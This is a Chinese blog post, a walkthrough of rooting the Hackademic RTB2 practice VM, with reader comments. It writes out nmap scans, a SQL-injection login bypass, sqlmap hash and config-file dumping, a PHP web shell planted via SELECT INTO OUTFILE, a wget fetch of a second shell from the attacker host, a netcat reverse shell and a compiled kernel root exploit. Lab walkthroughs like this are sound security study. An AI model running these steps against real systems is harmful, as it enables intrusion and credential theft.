渗透测试的艺术:Root this box第二部曲

2014-02-10 +8 453864人围观 ,发现 38 个不明物体 WEB安全

以下为我个人整理并验证测试,谨以此文纪念我的web安全学习之路。

一、评估阶段

服务/版本

Nmap扫描显示开放了2个端口,80/TCP端口的web服务以及666/TCP端口的服务(filtered)。

刚安装的虚拟机,不知道ip,扫一下:

root@bt:~# nmap -sT -p80 192.168.202.*|grep -C 3 open
Nmap scan report for 192.168.202.165
Host is up (0.00049s latency).
PORT   STATESERVICE
80/tcp open  http
MAC Address: 00:0C:29:F6:34:D4 (VMware)
Nmap scan report for 192.168.202.254

扫到ip后,继续看看有无开放其他端口:

root@bt:~# nmap -sS 192.168.202.165
Starting Nmap 6.25 ( http://nmap.org ) at 2014-01-2619:16 HKT
Nmap scan report for 192.168.202.165
Host is up (0.00031s latency).
Not shown: 998 closed ports
PORT    STATE    SERVICE
80/tcp  open     http
666/tcp filtered doom
MAC Address: 00:0C:29:F6:34:D4 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

web服务

让我们分析一下80/ TCP端口有什么。打开浏览器指向目标的ip,如图:

用dirbuster(填好地址,选择dirbuster自带的字典即可)可以发现phpmyadmin的存在:

二、漏洞利用阶段

突破第一个漏洞点

只有一个登陆界面,先从它入手吧。尝试过w3af及sqlmap没有发现SQL注入。采用burpsuite里intruder模块对密码字段进行SQL注入的Fuzzing(配置好代理后,输入账号密码admin,admin,断在burpsuite里之后,右键发送到intruder,设置好要爆破的参数,然后加载字典,可以从burpsuite pro里直接复制过来的):

其中password为' or 1=1–'时,回应如下:

找出port-knocking组合

把那段内容拿去url解码,然后ASCII转换(http://home.paulschou.net/tools/xlate/),结果为:

<--------->
Knock Knock Knockin' on heaven's door .. :)
00110001 00110000 00110000 0011000100111010 00110001 00110001 00110000 00110001 00111010 00110001 0011000000110001 00110001 00111010 00110001 00110000 00110000 00110001
<--------->

后面那段继续转换,结果为:

1001:1101:1011:1001

破开端口666/TCP

组合是:1001:1101:1011:1001。我们猜测这是打开端口666/TCP的Port-Knocking钥匙,这是一些的TCP端口。拿出nc,或者bt5下直接输入:

# for i in 1001 1101 1011 1001; do nc -z192.168.202.165 $i; done

也就相当于一个小函数,分别用TCP发SYN包去连接该ip的这4个端口(按顺序)(很有意思,类似于芝麻敲门,一般可用于防22端口爆破)。

运行完成后,我们打开浏览器,输入ip:192.168.202.165:666,回车,则进入另一个界面:

突破第二个漏洞点

观察页面时,发现左边的Main Menu下有个特别长的链接,地址为:

http://192.168.202.165:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3

丢进sqlmap,dump下来mysql.user表里的用户名密码:

root@bt:/pentest/database/sqlmap# ./sqlmap.py
--url="http://192.168.202.165:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3"-D mysql -T user -C User,Password --dump

中间会判断出letter是可注入的,并且还有一些其他的选择,可自由发挥。

Database: mysql
Table: user
[5 entries]
+------------------+-------------------------------------------+
| User            | Password                                 |
+------------------+-------------------------------------------+
| debian-sys-maint    |*F36E6519B0B1D62AA2D5346EFAD66D1CAF248996|
| phpmyadmin            |*5D3C124406BF85494067182754131FF4DAB9C6C7 |
| root                    | *5D3C124406BF85494067182754131FF4DAB9C6C7|
| root                    |*5D3C124406BF85494067182754131FF4DAB9C6C7 |
| root                  |*5D3C124406BF85494067182754131FF4DAB9C6C7 |
+------------------+-------------------------------------------+

由于其中sqlmap自带的破解失败。看起来通过John The Ripper也需要几小时或者几天,换个思路。既然是Joomla,随便百度一下就知道配置文件在站点根目录下configuration.php

root@bt:/pentest/database/sqlmap# ./sqlmap.py
--url="http://192.168.202.165:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3"
--file-read="/var/www/configuration.php"

运行命令后,sqlmap就自动帮我们将配置文件下载到sqlmap的output下了。如图:

这样,mysql的root账号及密码我们就有了,想起之前探测到的phpmyadmin目录,那么我们就能进行下一步了。

三、持续深入阶段

安装后门

访问http://192.168.202.165/phpmyadmin/,输入root账号及密码。进入phpmyadmin后,切换到SQL语句执行的地方,输入select '<?phpsystem($_GET["cmd"]); ?>' into outfile ';/var/www/shell.php'

然后我们访问http://192.168.202.165:666/shell.php?cmd=whoami可以看到小马已经成功写入。将BT5的httpd服务打开,将大马文件放入/var/www目录下,上传我们的大马http://192.168.202.165:666/shell.php?cmd=wgethttp://192.168.202.132/123.txt

执行ls,可以看到已经上传成功。然后改后缀

http://192.168.202.165:666/shell.php?cmd=mv/var/www/123.txt /var/www/123.php

访问http://192.168.202.165:666/123.php,如图:

反弹shell

在bt5里shell下输入nv -lvvp 3333开启监听3333端口,然后在大马下切换到反弹shell界面,输入我们的ip及3333端口,点击connect。就可以看到监听端口已经收到转发来的信息。

root@bt:~# nc -lvvp 3333
listening on [any] 3333 ...
connect to [192.168.202.132] from (UNKNOWN)[192.168.202.165] 54924
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux HackademicRTB2 2.6.32-24-generic #39-Ubuntu SMP WedJul 28 06:07:29 UTC 2010 i686 GNU/Linux

权限提升

可以看到我们权限较低,仅仅是www-data身份。

在exploitdb(BT5自带,可去exploit主页下载离线包更新替换)里寻找对应2010年7月左右的本地提权exploit

有很多,我们挑第一个大概看一下,发现可行,在nc里分别输入以下命令:

wget http://www.exploit-db.com/download/14814 -O 14814.c
gcc 14814.c -o 14814
chmod +x 14814
./14814

这时,当我们再次输入whoami或者id时,我们已经是root身份了:

id
uid=0(root) gid=0(root)
whoami
root

完成最后的挑战

跟RTB1(root this box)里一样,/root目录下有个key.txt文件。

在nc里执行cat /root/Key.txt,发现返回的内容是base64加密的内容。

执行命令base64 -d Key.txt > key,然后ls,key文件已经生成了,用file命令查看为png格式,

将其move到站点目录下,然后访问,如图:

至此,RTB2的挑战已经完成。

后记

拿到root权限后,通过命令passwd root重置root账户密码为admin。


然后,直接用root账号登陆该系统,找到/var/www目录,其中有个welcome文件夹就是我们第一关:

可以看到,第一关的成功条件是写死的。只有两种答案。

另外,在/etc/iptables.rules下也可以看到port-knocking的相关配置:

下载:

RTB1:http://download.vulnhub.com/hackademic/Hackademic.RTB1.zip

RTB2:http://download.vulnhub.com/hackademic/Hackademic.RTB2.zip

这些评论亮了

  • 农村人,爆粗了,说简单些 就是扫下目录、端口,注入sql获取到mysql的root口令,进入phpmyadmin后into outfile一句话,拿到shell后php.ini没限制命令执行,顺便提了一台老旧内核的机器
    不涉及内网,不涉及0day,里面根本就没遇到阻碍,sql注入不了怎么办,比如工具不能注入,只有手工才可以注入,各种绕过,各种加速乐,360cdn拦截怎么办,怎么绕过,没有phpmyadmin怎么导出一句话? sql注入出来是普通用户没有file权限怎么办?有file权限网站目录不可写怎么办?或者注入出来mysql的root密码破解不了怎么办?拿到shell了,人家php.ini配置disable_functions把所有执行命令的函数禁用了怎么办?就算没禁用,内核最新2.6.32-431.1.2.0.1.el6.x86_64怎么办?内网ip不方便直接连接怎么办?还本机搭建环境测试的,纯理想环境,无语~
    )36( 亮了
  • yyyy3333 回复
    组合是:1001:1101:1011:1001。我们猜测这是打开端口666/TCP的Port-Knocking钥匙,这是一些的TCP端口。拿出nc,或者bt5下直接输入
    好牛逼这个东西第一次见到 是说他们通信以后 才可以进行后续操作吗?
    )10( 亮了
  • 桂林老兵 回复
    不懂亮点在哪里?
    )6( 亮了
发表评论

已有 37 条评论

取消
Loading...
css.php